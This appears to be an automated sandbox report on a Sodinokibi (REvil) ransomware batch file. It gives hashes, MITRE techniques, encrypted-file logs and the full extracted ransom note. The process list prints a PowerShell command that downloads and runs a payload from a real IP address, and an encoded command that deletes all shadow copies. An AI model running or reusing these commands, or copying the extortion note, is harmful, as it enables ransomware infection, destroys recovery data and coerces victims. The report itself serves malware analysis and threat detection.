sodinokibi | c21697f0b7e8c644cf9bc515972a1ec3b8c3c357c123dd8b06c1fa1f93e6b88b

General

Target

ba14ab3ed6e7b7ab08b7add2a00958b9.bat
Size

216B
MD5

be80d5e6a14a15ec34832dbba9abf139
SHA1

3f56abfb2adcb556bdabeac9b92de7520a81ccbf
SHA256

c21697f0b7e8c644cf9bc515972a1ec3b8c3c357c123dd8b06c1fa1f93e6b88b
SHA512

20f8041a4f2f000a47bb0f9fb7c4af1b8f4842c6706252ccc4abda665be8f7ae22b1a6d8385a19bc1d0f1e006ffb667334d127cbd70bf66a58e146b039dcd73d

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/ba14ab3ed6e7b7ab08b7add2a00958b9

Extracted

Path

C:\w97n39vc9-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension w97n39vc9. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DF2449B399E6D2ED 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/DF2449B399E6D2ED Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 0b/5dTiS4+60LYYlikfMALXOou5QFh9oNGAY27GSDdu3GjS30URW0ZKtHHGlG2fm 9mu2TCk+2m4HfVE2vYLBz949qVViGzteRXz5crUrOomUsnbSEVw9PopCYthKyJW9 QrWJzgZ7frnkdCglOa99xJzHSyC/cfWeCWh3kSVsqQdYEHycR7Dqp1s7uvNoTjLK tmid1xI3vMeqkCRnlaKqQFbJqnQelTilRFlDquD6LcJ7GRxA7xB1WUj2JCm28MoL d7zxGUm9M0mv/M5C0EiUJ7PEOEaL73nlh39WIKaCaAA8IToqajjoFM1qp20lSTNc 4TnyZKADvD/OWi3wNUidGZF7O6jEy2mc/l1LOeR/cKk6kznzmtKGk6+44LIAenBt l2XJAljLL7iEdsVbKXnSTUV9HREMMWWvHO6fEVIjoKS7gc8lA7OMKlF9Ir4VHL+b Ppu7M2+n7saXKXBOf4FVLeMxbIOxLWpO7IMib9tElLJgOBVhX9hJmsF5yf7UkXWZ u6hr6kUFc5nyhpogS2XIv/3nOEFbtpg0QC13vICkVR0QNX6htDp+EuIKWSRDYYqH TrISysy9YOGJ1qR2FkDcGQk11udUxgSRh4K0UGcafH/rey/ITIfeYuqsTCypQjrH Z5ej/9HZCwtZfPkLUaQMrUMmxCr+AflLkt9SQWTJkWj5P+oFZwNGAGKUUMYutRaB f6Wcmza+Vf7b60Yw2K9eg087cKwPnms8fQxhYoU+taZ0PZJTYQQ/xmiFo+1lqfFg oqK9KKrURvTSBqhXtosauLXTOJz+TwTM7nR7xnSa7jikcodQUauPi4UZEFTmFpRJ 3CcEX3+L3QEzvHlJKF9KXbmy19Ci9iFTIRFwfNXRe8GFJy/h3b4jfkZXNLzdC/S7 tOC/y2n7o0IkxFrawravS5htMD/YMUPhtHwrraFV0ye9zOyPQDsqwLbkghwEhNWv 7ujzNlUTitjdYYvhqvpaHOQ8lZHv+iURLtpGAEPB7LFQ+Npm76XtkQPKh4ShPjQy Nukyo7cI2bFi3yiUoVsbj4G6OssnriySdqhW4gFku06MQEeUNrwCrJgkH72HJvS3 jRSJH5r2SBlOezVOHRbljwwFtg3lJvhyT2DiA0Z94imsVEyvtuj+6DE7Hn0VvUy6 DGWfg5lAMjwZ0MqxGuVGMx/040DQCpf35OmS/F0MePActoZkwOy0cpEe4J8dqRVD GIpLbi8FdHoR+fHTt0Wj8bXESF2TqDvIPs0wm/UFhWXEtovKbPgzOsYqm8GqUZT+ fW/mj7n4QsRqsZnpI0BADeYLhZJIvmrlkNUX05ubFmVM8HsJK78= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DF2449B399E6D2ED

http://decryptor.cc/DF2449B399E6D2ED

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1480 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1480 powershell.exe
1480 powershell.exe
1480 powershell.exe
1376 powershell.exe
1376 powershell.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

pid	process
1480	powershell.exe

pid	process
1480	powershell.exe
1480	powershell.exe
1480	powershell.exe
1376	powershell.exe
1376	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3u848n41.bmp"	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1312 wrote to memory of 1480	1312	cmd.exe	powershell.exe
PID 1312 wrote to memory of 1480	1312	cmd.exe	powershell.exe
PID 1312 wrote to memory of 1480	1312	cmd.exe	powershell.exe
PID 1312 wrote to memory of 1480	1312	cmd.exe	powershell.exe
PID 1480 wrote to memory of 1376	1480	powershell.exe	powershell.exe
PID 1480 wrote to memory of 1376	1480	powershell.exe	powershell.exe
PID 1480 wrote to memory of 1376	1480	powershell.exe	powershell.exe
PID 1480 wrote to memory of 1376	1480	powershell.exe	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1480 powershell.exe

flow	pid	process
3	1480	powershell.exe

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\ResumeEdit.vsx	powershell.exe
File opened for modification	\??\c:\program files\SwitchUpdate.midi	powershell.exe
File created	\??\c:\program files\w97n39vc9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\BackupCompare.eprtx	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromAdd.vsx	powershell.exe
File opened for modification	\??\c:\program files\SearchBlock.vb	powershell.exe
File opened for modification	\??\c:\program files\TraceSet.m4a	powershell.exe
File opened for modification	\??\c:\program files\UnregisterComplete.xht	powershell.exe
File created	\??\c:\program files (x86)\w97n39vc9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\GetMove.ttf	powershell.exe
File opened for modification	\??\c:\program files\ResumeSync.mp4v	powershell.exe
File opened for modification	\??\c:\program files\InitializeCompare.mpeg2	powershell.exe
File opened for modification	\??\c:\program files\InitializeRestart.dib	powershell.exe
File opened for modification	\??\c:\program files\InitializeShow.au	powershell.exe
File opened for modification	\??\c:\program files\LimitCopy.xlsb	powershell.exe
File opened for modification	\??\c:\program files\MoveRedo.asp	powershell.exe
File opened for modification	\??\c:\program files\DismountDebug.xltx	powershell.exe
File opened for modification	\??\c:\program files\EnterRevoke.avi	powershell.exe
File opened for modification	\??\c:\program files\ExportSkip.dotm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\w97n39vc9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\OptimizeEdit.svg	powershell.exe
File opened for modification	\??\c:\program files\WatchResize.vstx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\w97n39vc9-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\w97n39vc9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\NewImport.inf	powershell.exe
File opened for modification	\??\c:\program files\UnlockInstall.ods	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeBackupPrivilege	1608	vssvc.exe
Token: SeRestorePrivilege	1608	vssvc.exe
Token: SeAuditPrivilege	1608	vssvc.exe
Token: SeTakeOwnershipPrivilege	1480	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ba14ab3ed6e7b7ab08b7add2a00958b9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ba14ab3ed6e7b7ab08b7add2a00958b9');Invoke-PYHZVCNXW;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:1480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1376

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/1376-3-0x0000000000000000-mapping.dmp

Download
memory/1480-0-0x0000000000000000-mapping.dmp

Download
memory/1480-14-0x000000000905D000-0x00000000090CA000-memory.dmp

Filesize
436KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads